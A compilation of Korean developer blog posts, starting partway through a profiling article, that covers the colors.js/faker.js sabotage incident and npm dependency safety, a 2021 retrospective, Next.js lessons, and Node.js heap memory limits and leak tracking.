한 가지 방법은 [Compression Stream API](https://wicg.github.io/compression/)를 이용하는 것으로, 문자열을 gzip으로 압축된 데이터 스트림으로 변경할 수 있다. 한가지 단점은 비동기식이기 때문에 압축된 프로필 데이터를 업로드 하기 전에 먼저 압축된 바이트가 포함되어 있는 콜백을 기다려야 한다는 것이다.

`application/x-ww-form-urlcoded` 인코딩을 통해 데이터를 전송하기 위해서는, URL 인코딩된 `JSON.stringify()`보다 그 결과가 커질 수 있다는 것을 명심해둬야 한다. 예를 들어 `JSON.stringify`로는 25kb인데 반해, `application/x-ww-form-urlcoded` 는 36kb로 증가한다.

이러한 사태를 방지하기 위해 [JSURL](https://github.com/Sage/jsurl)과 같은 라이브러리를 대신 써보는 것도 검토해봄직하다. 이 라이브러리는 `JSON`과 비슷해 보이지만, `application/x-www-form-urlencoded` 보다는 크기가 작다.

문자열 데이터에 적용할 수 있는 압축방법은 다양하므로, 원하는 방법을 적용해 보는 것이 좋다.

## 팁

### minified javascript

만약 application에 minified 된 javascript가 있다면 프로파일에는 minified된 함수 명이 리포트 될 것이다. 이를 해결하기 위해서는 소스맵 등이 필요할 것이다.

### 기명함수와 익명함수

익명 함수가 있다면 이로 인해 많은 귀찮은 것들이 발생한다.

```javascript
{
  "frames": [
    ...
    { "column": 0, "line": 10, "name": "", "resourceId": 0 }, // un-named function in root HTML page
    { "column": 0, "line": 52, "name": "", "resourceId": 0 }, // another un-named function in root HTML page
    ...
  ],
```

이러한 현상을 방지하기 위해서는

```html
<script>
  // start some work
</script>
```

대신

```html
<script>
  ;(function initializeThirdPartyInHTML() {
    // start some work
  })()
</script>
```

와 같은 즉시 실행 기명 함수를 사용하는 것이 좋다.

```javascript
{
  "frames": [
    ...
    { "column": 0, "line": 10, "name": "initializeThirdPartyInHtml", "resourceId": 0 }, // now with 100% more name!
    { "column": 0, "line": 52, "name": "doOtherWorkInHtml", "resourceId": 0 },
    ...
  ],
```

---

Source: https://yceffort.kr/2022/01/npm-colors-fakerjs.md
Title: colors.js와 faker.js 사태가 준 교훈
Description: 다이나믹하게 시작하는 2022년
Date: 2022-01-17
Tags: nodejs, security

[Marak Squires](https://github.com/marak)라는 개발자가 만든 두 개의 유명한 패키지 [colors.js](https://github.com/Marak/colors.js/)와 [faker.js](https://github.com/Marak/faker.js)가 개발자에 의해 고의로 손상되는 사건이 일어났다.

- https://github.com/Marak/colors.js/commit/074a0f8ed0c31c35d13d28632bd8a049ff136fb6
- https://github.com/Marak/faker.js/commit/2c4f82f0af819e2bdb2623f0e429754f38c2c2f2

faker.js의 경우 레포에 아무것도 남아나지 않고 멀쩡한 5.5.3 버전에서 6.6.6 버전으로 major 업데이트를 하는 귀여운(?) 수준이었지만, faker에 비해 쓰는 패키지가 더 많았던 colors.js의 경우 1.4.0에서 무한루프가 삽입되어 있는 1.4.1 버전으로 패치 업데이트를 하는 치밀함을 통해 `^.1.4.0`으로 선언이 되어 있는 많은 노드 패키지를 골로 보내는 쾌거를 이뤄낼 수 있었다. 덕분에 [요런 식의 수정](https://github.com/aws/aws-cdk/pull/18324/commits/9802d23b0359d3089dadc1b75e20db3b97a09921)을 추가하느라 연초부터 많은 개발자들이 바빴을 것이다.

대충 사건을 파악해보니 [2020년 쯤에 아파트에 불이 나서 전재산을 날려먹은 듯한 모양](https://twitter.com/marak/status/1320465599319990272) 이다. 근데 불의의 사고로 불이 난 것 은 아니고, 집에서 사제폭탄을 만들다가 집을 다 태워먹은 모양이다.

- https://nypost.com/2020/09/16/resident-of-nyc-home-with-suspected-bomb-making-materials-charged/
- https://abc7ny.com/suspicious-package-queens-astoria-fire/6425363/

어쨌건, 이 분의 의도는 돈 많이 버는 회사들이 내 오픈소스를 공짜로 쓰는데 아무런 보상이 없자 경각심을 주기 위해 한 행동이라고 하는데, 이해가 될 듯 안될 듯 공감이 되는듯 안되는 듯 하다 🤔

오픈소스를 매일매일 사용하는 사람, 또는 기업이 어떤 자세를 가져야 할지, 또 기부를 하는게 맞는지, 해야한다면 얼마를 해야하는 건지(?) 등 어려운 문제는 차치하고, 오픈소스를 매일 사용하는 node 개발자들이 이 사태를 사전에 어떻게 막아야할지 고민해보도록 하자.

먼저 패키지 개발자 관점에서 생각해보자. 잘못된 버전이 우리가 모르는 새 배포되었다. 이 패키지를 의존하는 패키지가 이로 인해 오작동 한다는 것은, 사보타주된 패키지를 `npm install` 등으로 설치하는 것을 시작으로 설치한 이후에도 호환성 등의 테스트가 전혀 이뤄지지 않았다는 것을 의미한다.

그리고 이 패키지를 사용하는 일반적인 개발자 입장에서 판단해보자. npm은 패키지에 나열된 요구사항에 따라 의존성 버전을 선택해서 설치한다. `package.json`에 나열된 의존성 뿐만 아니라, 현자 선언되어 있는 모든 의존성에서 가능한 최신 버전의 사용을 선호하게 된다. 패키지 개발자의 의존성에서는 최신버전을 사용하도록 선언되어 있었고, 그것을 조금도 의심하지 않고 설치했다. 그리고 결국에는 아래와 같은 이슈 리포팅을 남기게 된다.

- https://github.com/aws/aws-cdk/issues/18322
- https://github.com/hexojs/hexo/issues/4865
- https://github.com/facebook/jest/issues/12226
- https://github.com/netlify/cli/issues/3981

npm 사용자들은 굉장히 화가 날 법한 일이지만, 적어도 무한루프를 생성하고 이상한 내용을 출력하는 수준에서 그쳤다는 것을(?) 다행으로 생각해야 한다. 해킹과 같은 더 나쁜 일이 있을 수도 있고, 이런 의도적인 파괴가 앞으로 없을 거라고 가정하더라도 이와 비슷한 결과를 만들 수 있는 버그도 발생할 수 있다. 기본적으로 모든 오픈소스 소프트웨어 라이센스 코드는 특별한 보증 (warranty) 없이 사용하기 때문이다. 따라서 패키지 관리자는 이러한 위험이 있을 수 있음을 항상 예상하고 이에 따른 피해가 최소화 될 수 있도록 설계해야 한다.

npm 패키지 관리자들은 새 패키지를 설치할 때 모든 의존성의 최신 버전을 선호하도록 하는 버저닝을 중지하는 것이 좋다. (`^` 나 `~`) 대신 패키지가 실제로 테스트 된 버전이나, 가능한 안전한 버전을 선택한 것이 좋다.

npm은 [npm shrinkwarp](https://docs.npmjs.com/cli/v8/commands/npm-shrinkwrap)과 [npm ci](https://docs.npmjs.com/cli/v8/commands/npm-ci) 명령어를 통해 의도치 않은 종속성 업데이트를 방지한다. 그러나 이 명령어가 할 수 있는 일은 제한적이므로, 근본적으로 패키지 관리자의 고민을 덜기엔 부족하다.

[이전에 포스팅에서 이야기한 것처럼 `node_modules`도 git으로 관리하여 패키지의 변화를 눈치채는 것도 한가지 방법](/2021/12/add-node_modules-in-git)이 될 수는 있다. 그러나 어디까지나 사람의 눈으로 캐치해야 하기 때문에 100% 안전한 방법이라고 할 수는 없다.

가장 중요 한 것은, 모던 프로덕션 시스템을 운영하는 사람이라면 [점진적이고 단계적인 롤아웃](https://sre.google/sre-book/reliable-product-launches/#gradual-and-staged-rollouts-yDsrIPFV) 정책에 대해서 인지하고 적용해야 한다는 것이다. 이를 바탕으로 한 테스트를 활용하여, 한번의 실수로 모든 것이 망가지는 것을 미연에 방지해야 한다. 테스트롤 통해 변경사항이 다른 시스템에 영향을 미친다는 것을 확인한다면, 예상치 못한 문제를 사전에 발견하고 배포를 중지할 수 있는 시간을 충분히 벌 수 있을 것이다. (그러나 아쉽게도 npm은 정반대 정책으로 운영되고 있다. 최신버전의 패키지는 누구도 테스트할 기회를 얻기도 전에 모든 의존성 내부에서 널리 사용되도록 퍼져나가버렸다.)

## 참고: 점진적이고 단계적인 롤 아웃

시스템 관리자의 격언 중 하나는 '실행 중인 시스템을 절대로 바꾸지 말라' 라는 말이다. 어떠한 형태로든 변화는 위험을 나타내며, 시스템의 신뢰성을 위해서 위험은 최소화 되어야 한다. 어떤 작은 시스템에라도 작은 변화가 일어난다면, 구글의 고도로 복제되고 전세계로 분산되어 있는 시스템에도 엄청난 큰 위험으로 적용된다.

구글에서 전세계에가 사용할 수 있도록 특정시간에 신제품을 출시하는 '버튼' 을 누르는 경우는 없다. 시간이 지남에 따라 구글은 제품과 기능을 점진적으로 출시하여 위험을 최소화 할 수 있는 패턴을 개발했다. https://sre.google/sre-book/service-best-practices/

구글 서비스에 대한 거의 모든 업데이트는 정해진 프로세스에 따라 적절한 검증 단계를 거쳐서 점진적으로 진행된다. 하나의 데이터 센터에 있는 몇개의 시스템에 새 서버가 설치되고, 이는 사전에 정의된 기간에서 관찰할 수 있다. 모든 것이 정상으로 확인되면, 서버는 한 데이터 센터의 모든 시스템에 설치되고, 그 다음 다시 상태를 살펴본 다음 모든 시스템에 설치된다. 이러한 롤아웃의 첫단계를 'canaries'라고 부른다. 이는 탄광에 위험한 가스가 있는지 확인하기 위해 보내는 새 카나리아에서 따온 말로, 여기서 canaries는 실제 사용자 트래픽에서 새로운 소프트웨어 동작으로 인해 위험한 영향을 감지하는 것을 의미한다.

이 테스팅은 환경설정을 변경하는 시스템 뿐만 아니라 자동화된 변경을 위해 사용되는 구글의 많은 내부도구에 도입되니 개념이다. 새 소프트웨어 설치를 관리하는 도구는 일반적으로 새로 시작하나 서버를 잠시 관찰하여 서버가 충돌하거나 잘못된 동작을 하지 않도록 한다. 변경된 내용이 유효기간을 지나지 않으면 자동으로 롤백 된다.

이러한 점진적 롤아웃의 개념은 구글의 서버에서 실행되지 않는 소프트웨어에도 적용된다. 새로운 버전의 안드로이드 앱은 점진적으로 롤아웃 될 수 있으며, 업데이트 된 버전이 점차 업그레이드 되기 위해 점차 그 범위를 늘리는 방법을 채택했다. 업데이트 된 인스턴스의 비율이 100%에 되기 까지 시간이 지남에 따라 점차 증가한다. 이러한 원격 설치 유형은 새 버전으로 인해 구글 데이터 센터의 백엔드 서버에 트래픽이 추가되는 경우에도 유용하다. 이렇게 하면 새로운 버전을 점차 출시하고, 문제를 조기에 발견하면서 버서에 미치는 영향을 점진적으로 관찰할 수 있다.

> https://sre.google/sre-book/reliable-product-launches/#gradual-and-staged-rollouts-yDsrIPFV

---

Source: https://yceffort.kr/2022/01/2021-retrospective.md
Title: 2021년 회고
Description: 2022년은 더 좋은 개발자가 되길 바라며
Date: 2022-01-01
Tags: career, frontend, typescript

2019년에 회고를 작성하고 (지금은 숨김처리 되어 있다.) 2020년은 스킵한뒤로 2021년 회고를 작성한다. 회고를 작성하는 이유는 여러가지가 있겠지만, 내가 회고를 작성하는 이유는 2022년에는 시행착오를 덜 하고 더 좋은 개발자로 성장하기 위함이다. 따라서 굳이 내가 무엇을 잘했는지는 남겨두지는 않으려고 한다. (굳이 내가 잘한 사실을 공개된 장소에 업로드 하는 것이 좀 이상하고 오그라든다. 무엇보다 남들에게 자랑할 만큼 잘한 건 없는 것 같고.) 무엇을 잘못했고, 실수했고 부족했으며 나아가 2022년에는 무엇을 할지 정리해보려고 한다.

## 2021년에 한 것

2021년은 4번째 회사에서 온전히 한 해를 보낸 해다. 2021년에 한 것은 다음과 같다.

### 팀 내부에서 공통으로 사용할 frontend library 제작

- 주요기술: rollup, typescript, npm workspace, storybook
- 아쉬웠던 점: babel이나 next와 같은 다른 mono repository 처럼 버저닝도 잘 지키고, 앞으로 개발해 나갈 기능들도 잘 스케쥴링해서 개발해 나갔으면 좋았을 텐데 그러지 못해서 아쉬웠다. 변명 아닌 변명을 해보자면 그때 그때 필요한 기능 추가/수정 요청을 빠르게 대응하다 보니 기능 개발이 약간 두서 없이 될 수 밖에 없는 상황이긴 했다. (진짜 변명이네) 하지만 그 와중에도 버저닝은 칼같이 지키려고 노력했다. 그리고 지나고보니 이렇게 했음 좋았을 텐데 하는 것들이 생각났고, 그걸 이와 중에 적용하자니 major version 업데이트가 되어서 굉장히 망설여졌다. 현재 v2를 계획중에 있는데 이번에 확실히 개편해보고자 한다. 사실 내가 v1을 하든, v2를 하든 별로 신경 안쓰시는 분들이 더 많겠지만 일종의 사명감 내지는 애착이 생긴 것 같기도 하다.

### legacy 서비스를 nextjs로 전환

- as-is: javascript, react, react-router-dom, mobx
- to-be: typescript, nextjs, react (+context api)
- 아쉬웠던 점: 나름 nextjs의 열렬한 팬으로써, 그리고 이전 회사에서 nextjs를 한바탕 써본 경험자로써 산전수전 다 경험해봤다고 생각했는데 그럼에도 모르는 것들이 조금씩 있었다. 그리고 자신있게 nextjs의 장점과 써야하는 이유를 설파할 수 있을 줄 알았는데, 모든 사람을 설득하지는 못한 것 같다.

### 마이데이터

- 주요기술: typescript, nextjs, mobx
- 아쉬웠던 점: 좋았던 점을 더 찾기 힘들었던 프로젝트. 저 멀리서 점지해서 내려져온 스펙과 일정은 여러가지로 숨막히게 만들기에 충분했다. 다시는 하고 싶지 않았던 경험. 😑

다음은 회사 밖에서 내가 공부하고 겪은 내용이다.

### 블로그 운영

![git-contribution-graph](./images/git-contribution-graph.png)

- 아쉬웠던점: 1day 1commit 이라는 대 전제 아래 블로그를 운영했다. 덕분에 아름다운(?) 그래프를 만들 수 있었다만,,, 아쉬웠던 점은 회사와 개인업무가 바쁜 와중에도 지키려고 하다보니 낮은 퀄리티의 commit 이 추가되었다는 점이다. 그럼에도 1day 1commit 덕분에 회사일에서 10분이라도 벗어나서 무언가를 공부할 수 있었다는 것은 좋았다. 블로그 글도 연말에 유례없이 바빠지면서 점점 퀄리티가 낮아진 것도 부정할 수 없는 사실. 개인적으로 2021년에 한 일 중에 가장 좋으면서도, 가장 아쉬웠던 일이다.

### 비영리 회사 업무 지원

- 주요기술: nextjs, react, typescript, google cloud platform, firebase, python
- 아쉬웠던 점: 빠른 시간 내에 매니저분들이 원하는 솔루션 및 서비스를 만들어 드린 것 은 좋았지만, 계속해서 그때 그때 땜빵식으로 처리한다는 느낌을 지울 수가 없었다. 은퇴하기전에 꼭 제대로된 시스템을 구축해야겠다.

## 2022 TODO

### Rust

프론트엔드 개발자로서, Rust 붐이 올 것 만 같은 느낌이다. 슬금슬금 Rust가 웹 개발 영역에 들어오고 있다. **내가 인생에서 마지막으로 배우는 언어**라는 각오로 rust 공부를 시작할 예정이다. 아쉽게도, 배민 스터디 그룹에서는 떨어졌지만 (떨어질 거라 생각하지 못하고 지원서를 대충 써낸 잘못이 크다), 독학이라도 해서 올해에는 rust를 정복하고자 한다.

- https://www.youtube.com/watch?v=R0qbMTGgJn4&ab_channel=HarryWolff
- https://leerob.io/blog/rust

뭐 호들갑일 수도 있지만, 저수준 언어를 알아두는 것도 길게 보면 도움이 되지 않을까.

### k8s

k8s의 중요성은 계속해서 말해봐야 입이 아프지만, 학습의욕과 노력에 비해서 많이 늘지 못하고 있다. 인프라쪽 공부가 원래 이런가 싶기도한데, 아무튼 이번에는 이 블로그를 k8s로 전환해보면서 제대로 공부해보려고 한다.

### 네트워크에서부터 브라우저까지

2021년에 글을 조금씩 쓰면서 공부하고 있다. 그러나 조금은 부족한 것 같아서 더 공부하려고 한다. 프론트엔드를 둘러싼 환경을 미리미리 공부해야할 필요성을 계속해서 느끼고 있다.

### 블로그

- 1day 1commit은 계속 유지
  - 커밋의 퀄리티를 떠나서, 매일 업무 외에 다른 것을 한다는 것 자체에 의미가 있는 것 같다.
- 일주일에 한 개씩 퀄리티 있는 글 작성
  - 글 올리는 빈도를 조금 줄이고, 퀄리티에 조금 더 힘쏟으려고 한다.
- 블로그 구조 개편 (컴포넌트 정리, 마크다운 serializer 개편 등)
  - 저번 개편 때 하다 만 것들을 마저 완성
- vercel 플랫폼에서 벗어나서 직접 구축하기
  - K8S도 공부하고, bandwidth 초과 때문에 조만간 과금을 당할 것 같아 조치해야 한다.

## 커리어

4번째 회사쯤 되니 이제 회사에 대한 기대는 크게 안하게 되는 것 같다. 그래도 직장인으로서 기대하는 점이 있다면 돈은 많이 주고 일은 재밌는 그런 곳. 그런데 재택이 곁들여진.

## 달리기

2021년은 거의 대부분의 주중에 15k달리기를 했다. 재택 덕분에 출퇴근 시간을 아끼면서 운동을 할 수 있었던게 너무 좋았다. 체중도 감량하고, 젊음도 (간신히) 유지할 수 있었다.

![running](./images/2021_running.jpeg)

이래저래 일이 있을 때 못뛴 날 제외하고는 열심히 달렸는데 나름 뿌듯하다. 올해에는 42k도 달려보는게 목표다. (버추얼 마라톤은 재미가 없더라)

---

Source: https://yceffort.kr/2021/12/nextjs-lesson-and-learn.md
Title: nextjs를 적용하면서 알게 된 사실들
Description: 아 집에 가고 싶다
Date: 2021-12-20
Tags: nextjs, frontend

## Table of Contents

## Introduction

nextjs를 본격적으로 쓴 것은 2~3년 전부터이지만, 이 정도로 대규모 프로젝트에 써본 것은 처음이었다. 이전까지는 nextjs에 대해 어느정도 알고 있다고 자부했었지만, 본격적으로 쓰고 보니 굉장히 모르는 사실들이 많았다는 것을 깨달았다. 다시는 시행착오를 겪지 않기 위해 nextjs를 쓰면서 배운 것들을 몇가지 정리해두려고 한다.

## shallow routing은 page 리렌더링을 야기한다.

nextjs에서 routing이 일어나면 `getServerSideProps`, `getStaticProps`, `getInitialProps` 를 야기한다. https://nextjs.org/docs/routing/shallow-routing 그러나 이를 실행시키지 않고 현재 URL을 업데이트 하는 것이 shallow routing이다.

```javascript
import {useEffect} from 'react'
import {useRouter} from 'next/router'

function Page() {
  const router = useRouter()

  useEffect(() => {
    // Always do navigations after the first render
    router.push('/?counter=10', undefined, {shallow: true})
  }, [])

  useEffect(() => {
    // The counter changed!
  }, [router.query.counter])
}

export default Page
```

단순히 URL을 업데이트 하는 용도로 잘 쓰고 있었는데, 알고 보니 `router.push` 든 `router.relace`든 일어나면 해당 페이지가 리렌더링 된다는 사실을 알게 됐다.

https://github.com/vercel/next.js/discussions/18072

사실 이는 조금만 깊게 생각해보면 당연한 사실이다. `next/router`는 Context API를 내부적으로 사용하고 있고, `router.*`을 실행하는 순간 내부의 상태 값을 바꾸기 때문에 필연적으로 리액트의 리렌더링을 발생시킬 것이다. ~~내가 생각이 짧았다.~~

### 해결책

해결책은 `window.history.replaceState`를 사용하는 것이다. history에 replaceState를 하는 것은 리액트의 상태를 건드는게 아니고 리액트와 별개인 페이지의 히스토리를 건드는 것이 기 때문에 리렌더링이 발생하지 않을 것이다.

```javascript
window.history.replaceState(
  window.history.state,
  '',
  window.location.pathname + '?' + `whatever=u_want`,
)
```

## getServerSideProps와 \_app.getInitialProps와의 관계

`getServerSideProps`는 무조건 서버에서 실행되는 코드로, 서버사이드 렌더링 시에 필요한 데이터를 미리 필요한 데이터를 불러올 때 쓰인다. `_app.getInitialProps`는 최초에 앱이 렌더링되거나, 클라이언트 라우팅이 일어나는 순간에 실행된다. https://nextjs.org/docs/advanced-features/custom-app

- Persisting layout between page changes
- Keeping state when navigating pages
- Custom error handling using componentDidCatch
- Inject additional data into pages
- Add global CSS

그런데, `getServerSideProps` 가 수행되면, `_app.getInitialProps`가 실행된다는 사실을 알게되었다.

### app

```javascript
import App from 'next/app'
import '../styles/globals.css'

function MyApp({Component, pageProps}) {
  return <Component {...pageProps} />
}

MyApp.getInitialProps = async (appContext) => {
  const appProps = await App.getInitialProps(appContext)

  console.log('getInitailProps!')

  return {...appProps}
}

export default MyApp
```

### index

```javascript
import {useRouter} from 'next/dist/client/router'

export default function Home() {
  const router = useRouter()

  function handleClick() {
    router.replace(router.asPath)
  }

  return <button onClick={handleClick}>Replace!</button>
}

export function getServerSideProps() {
  console.log('getServerSideProps')
  return {
    props: {}, // will be passed to the page component as props
  }
}
```

버튼을 누르면

```text
getInitailProps!
getServerSideProps
getInitailProps!
getServerSideProps
getInitailProps!
getServerSideProps
```

`getInitialProps`가 실행되는 것을 알 수 있다. 이는 의도한 동작인 걸까? 그냥 나는 `getServerSideProps`만 재 호출하고 싶은 건데, (새로고침 등을 이유로) `getInitialProps`까지 호출해야 할까? 사실 지금 생각해보니 이것도 어떻게 보면 당연한 것 같기도하다. 🤔 의도야 어쨌든 라우팅이 일어나는 행위고, 라우팅에는 `getServerSideProps`가 수반되어야 하니까...?

아무튼, 이 상황을 막고 싶다면 아래와 같은 조건문을 추가해주면 된다.

```javascript
import App from 'next/app'
import '../styles/globals.css'

function MyApp({Component, pageProps}) {
  return <Component {...pageProps} />
}

MyApp.getInitialProps = async (appContext) => {
  const appProps = await App.getInitialProps(appContext)
  const {
    ctx: {req},
  } = appContext

  if (req?.url.startsWith('/_next')) {
    // serverSideProps로 호출된 경우 URL이 /_next로 시작함.
    // EX: /_next/data/development/index.json
  }

  return {...appProps}
}

export default MyApp
```

## 환경변수 쓰기 전에 잘 점검하기

| Method              | Set at    | Available in Next.js client side rendered code (browser) | Available in Next.js server side rendered code | Available in Node.js               | Notes                                                       |
| ------------------- | --------- | -------------------------------------------------------- | ---------------------------------------------- | ---------------------------------- | ----------------------------------------------------------- |
| .env                | both      |                                                          | ✔️                                             | `process.env`를 구조분해할당하거나 | `process.env`를 구조분해할당하거나 동적으로 접근할 수 없음. |
| NEXT*PUBLIC* .env   | buildtime | ✔️                                                       | ✔️                                             |                                    | `process.env`를 구조분해할당하거나 동적으로 접근할 수 없음. |
| env next.config.js  | buildtime | ✔️                                                       | ✔️                                             |                                    | `process.env`를 구조분해할당하거나 동적으로 접근할 수 없음. |
| publicRuntimeConfig | runtime   | ✔️                                                       | ✔️                                             |                                    | `SSR`을 사용하는 페이지에 필요                              |
| serverRuntimeConfig | runtime   |                                                          | ✔️                                             |                                    |                                                             |
| process.env         | runtime   |                                                          |                                                | ✔️                                 |                                                             |

환경 변수에 대한 설정도 잘 확인해야 한다. https://nextjs.org/docs/api-reference/next.config.js/runtime-configuration

`publicRuntimeConfig`를 사용하기 위해서는 `_app.getInitialProps`를 꼭 사용해야 한다. 초기 환경 세팅 할때, 혹은 배포 준비를 할 때 이것 때문에 헷갈리는 경우가 많으므로 주의를 요한다.

## SWC?

SWC가 러스트로 작성되어 타입스크립트나 자바스크립트를 굉장히 빠르게 컴파일한다는 사실 때문에 많은 주목을 받고 있었는데, 이번에 nextjs 12에 swc가 도입되면서 많은 관심을 끌고 있는 것 같았다. 실제로 도입을 해볼까 하고 고민을 했었는데, 결론적으로 도입하지는 않았다.

본격적으로 적용하기에 앞서, 일단 돌아가고 있는 코드 베이스로도 안되는 문제가 많았고, 여러 다른 개발자로 부터도 이런저런 이슈가 많다는 이야기를 들어서 선뜻 적용하기 망설이고 있었다. (이 블로그는 적용되어 있다.)

- https://github.com/swc-project/swc/releases 패치가 123까지 있을 정도로 살벌하게 수정중,,
- https://github.com/vercel/next.js/issues?q=label%3A%22area%3A+SWC+transforms%22+ SWC는 아직도 이슈가 계속 나오고 있는듯,,

결론은 아직 시기상조 인 것 같다는 생각이다. 그러나 개발자 분이 워낙 능력도 출중하시고, 또 전폭적인 지원도 받고 계시니 내년 이맘 때 쯤이면 아마 babel을 걷어내고 모두가 SWC를 쓰고 있을지도 모른다.

## 잘 알고 있는 줄 알았는데..

nextjs로 블로그도 만들고, 실제 서비스 되고 있는 애플리케이션도 개발하면서 어느 정도 잘 알고 있다고 생각했었는데 대규모 애플리케이션을 만들면서, 그리고 여기에 mobx + k8s를 얹으면서 나도 몰랐던 이슈들이 터지는 것을 볼 수 있었다. (그러면서 어느정도 nextjs에 대한 신뢰도 깨지기도 했고,,)

개인적으로 서버사이드 렌더링 프레임워크를 만들어보자라는 계획이 있었는데, react 18이 나오면 해야지 하면서 차일피일 미루고 있었는데 내년에는 꼭 다시 시도해봐야겠다. (라고는 하지만 또 18 나올때까지 뭉개고 있겠지,,,)

---

Source: https://yceffort.kr/2021/12/nodejs-memory-limit.md
Title: Node.js의 메모리 제한과 누수 추적 가이드
Description: V8 가비지 컬렉션의 세대별 구조, 힙 메모리 제한 조정, 그리고 메모리 누수를 진단하는 실용적인 방법을 정리합니다.
Date: 2021-12-13
Tags: nodejs, v8, memory

## V8 가비지 콜렉션

힙은 메모리 할당이 필요한 곳이고, 이는 여러 `generational regions`로 나뉜다. 이 `region`들은 단순히 `generations`이라고 불리우고, 이 객체들은 라이프 사이클 동안 같은 세대 (generation)을 공유한다.

여기에는 `young generation`과 `old generation`이 있다. 그리고 `young generation`의 `young objects`는 또다시 `nursery`(유아)와 `intermediate`(중간) 세대로 나뉜다. 이 객체들이 가비지 컬렉션에서 살아남게 되면, `older generation`에 합류하게 된다.

![generation](https://v8.dev/_img/trash-talk/02.svg)

이 `generation` 가설의 기본 원리는 대부분의 객체가 older로 넘어가기 전에 죽는다. (가비지 콜렉팅 당한다)는 것이다. V8 가비지 컬렉터는 이러한 기본적인 가정을 기반으로 설계 되어 있으며, 여기에서 살아남은 객체만 승격하게 된다. 객체는 살아남으면서 다음 영역으로 복사되고, 그리고 결국엔 `old generation`이 되는 것이다.

node에서 메모리가 소비되는 영역은 크게 세군데로 볼 수 있다.

- code
- call stack: 숫자, 문자열, boolean 과 같은 primitive values 또는 함수
- heap memory

우리는 여기에서 힙 메모리를 중점적으로 볼 것이다.

가비지 콜렉터에 대해 간단히 알아봤으니, 힙에 메모리를 할당해보자.

```javascript
function allocateMemory(size) {
  // Simulate allocation of bytes
  const numbers = size / 8
  const arr = []
  arr.length = numbers
  for (let i = 0; i < numbers; i++) {
    arr[i] = i
  }
  return arr
}
```

지역 변수는 함수 호출이 call stack에서 끝나는 즉시 `young generation`에 있다가 사라지게 된다. 숫자와 같은 기본형 변수들은 힙에 도달하지 못하고 대신 호출 스택에서 할당된다. `arr`의 경우 힙에 들어가서 가비지 콜렉션에서 살아남을 수 있다.

## 힙 메모리에 제한이 있을까?

이제 노드 프로세스를 최대 용량으로 밀어넣고, 힙 메모리가 언제쯤 고갈되는지 살펴보자.

```javascript
const memoryLeakAllocations = []

const field = 'heapUsed'
const allocationStep = 10000 * 1024 // 10MB

const TIME_INTERVAL_IN_MSEC = 40

setInterval(() => {
  const allocation = allocateMemory(allocationStep)

  memoryLeakAllocations.push(allocation)

  const mu = process.memoryUsage()
  // # bytes / KB / MB / GB
  const gbNow = mu[field] / 1024 / 1024 / 1024
  const gbRounded = Math.round(gbNow * 100) / 100

  console.log(`Heap allocated ${gbRounded} GB`)
}, TIME_INTERVAL_IN_MSEC)
```

위 코드는 40ms 간격으로 10메가바이트를 계속 할당하므로, 가비지 콜렉팅에 필요한 시간이 남아있는 객체들을 `old generation`으로 빠르게 승격시킬 수 있다. `process.memoryUsage`는 현재 힙 사용률에 대한 지표를 수집할 수 있는 도구다. 힙 할당량이 커지면, `heapUsed` 필드에서 현재 힙 사이즈를 추적한다.

결과는 실행환경에 따라 다르다. 16gb 메모리가 있는 내 맥에서는 다음과 같은 결과가 나왔다.

```text
...
Heap allocated 3.95 GB
Heap allocated 3.96 GB
Heap allocated 3.97 GB
Heap allocated 3.98 GB
Heap allocated 3.99 GB
Heap allocated 4 GB

<--- Last few GCs --->

[88809:0x130008000]    23137 ms: Scavenge (reduce) 4085.6 (4094.2) -> 4085.6 (4094.2) MB, 1.6 / 0.0 ms  (average mu = 0.855, current mu = 0.691) allocation failure
[88809:0x130008000]    23449 ms: Mark-sweep (reduce) 4095.4 (4104.0) -> 4095.3 (4104.0) MB, 274.1 / 0.0 ms  (+ 138.5 ms in 153 steps since start of marking, biggest step 6.2 ms, walltime since start of marking -558038699 ms) (average mu = 0.740, current m

<--- JS stacktrace --->

FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
```

여기에서 가비지 콜렉터는 `heap out of memory` 예외를 던지기 전에 마지막 수단으로 메모리 압축을 시도하는 것을 볼 수 있다. 이 프로세스는 4.1gb까지 도달했고, 23.1초 정도가 소요 되었다.

## 메모리 할당량 늘리기

`--max-old-space-size` 파라미터를 사용하면 크기를 늘릴 수 있다.

```bash
node index.js --max-old-space-size=8000
```

위 커맨드에서는 최대 제한을 8gb로 설정했다. 이 크기를 설정할 때는 조심해야 한다. RAM에 물리적으로 사용가능한 공간을 설정해두는 것이 좋다. 물리적 메모리가 부족하면, 프로세스는 가상 메모리를 통해 디스크 공간을 확보하기 시작한다. 이 제한을 너무 높게 설정하면 PC가 손상될 수 있다.

```text
...
Heap allocated 7.8 GB
Heap allocated 7.8 GB
Heap allocated 7.81 GB

<--- Last few GCs --->

[89239:0x148008000]    51777 ms: Mark-sweep (reduce) 7992.0 (8006.7) -> 7991.8 (8006.7) MB, 2770.5 / 0.0 ms  (+ 106.4 ms in 97 steps since start of marking, biggest step 8.0 ms, walltime since start of marking -558036240 ms) (average mu = 0.302, current m[89239:0x148008000]    54751 ms: Mark-sweep (reduce) 8001.7 (8016.5) -> 8001.6 (8016.5) MB, 2968.3 / 0.0 ms  (average mu = 0.171, current mu = 0.002) allocation failure scavenge might not succeed


<--- JS stacktrace --->

FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
```

프로덕션에서는 메모리가 부족해지는 데에는 1분도 채 걸리지 않을 수 있다. 이것이 메모리 소비량을 계속해서 모니터링하고 파악해야 하는 이유 중 하나다. 메모리 소비량은 시간이 지남에 따라 점차 느리게 증가할 수 있고, 문제가 있다는 것을 알 때 까지 며칠이 더 걸릴 수 잇다. 프로세스가 계속 충돌하고, 메모리 부족 예외가 로그에 표시되면 코드에서 메모리 누수가 발생한 것일 수 있다.

또한 프로세스는 더 많은 데이터로 작업 하기 때문에 더많은 메모리를 소비할 수 있다. 리소스 사용량이 계속 증가하면 이를 마이크로서비스로 분리해야 할 수도 있다. 마이크로 서비스로 분리하면 메모리 부담을 줄이고, 노드를 수평으로 확장할 수 있다.

## nodejs의 메모리 누수를 추적하는 방법

`process.memoryUsage` 함수내 `heapUsed` 변수는 유용하다. 메모리 누수를 디버깅하는 한가지 방법은 메모리 지표를 다른 도구에 넣어두는 것이다. 그러나 이 구현은 정교하지 않아서 분석을 할 때는 수동으로 해야 한다.

```javascript
const path = require('path')
const fs = require('fs')
const os = require('os')

const start = Date.now()
const LOG_FILE = path.join(__dirname, 'memory-usage.csv')

fs.writeFile(LOG_FILE, 'Time Alive (secs),Memory GB' + os.EOL, () => {}) // fire-and-forget
```

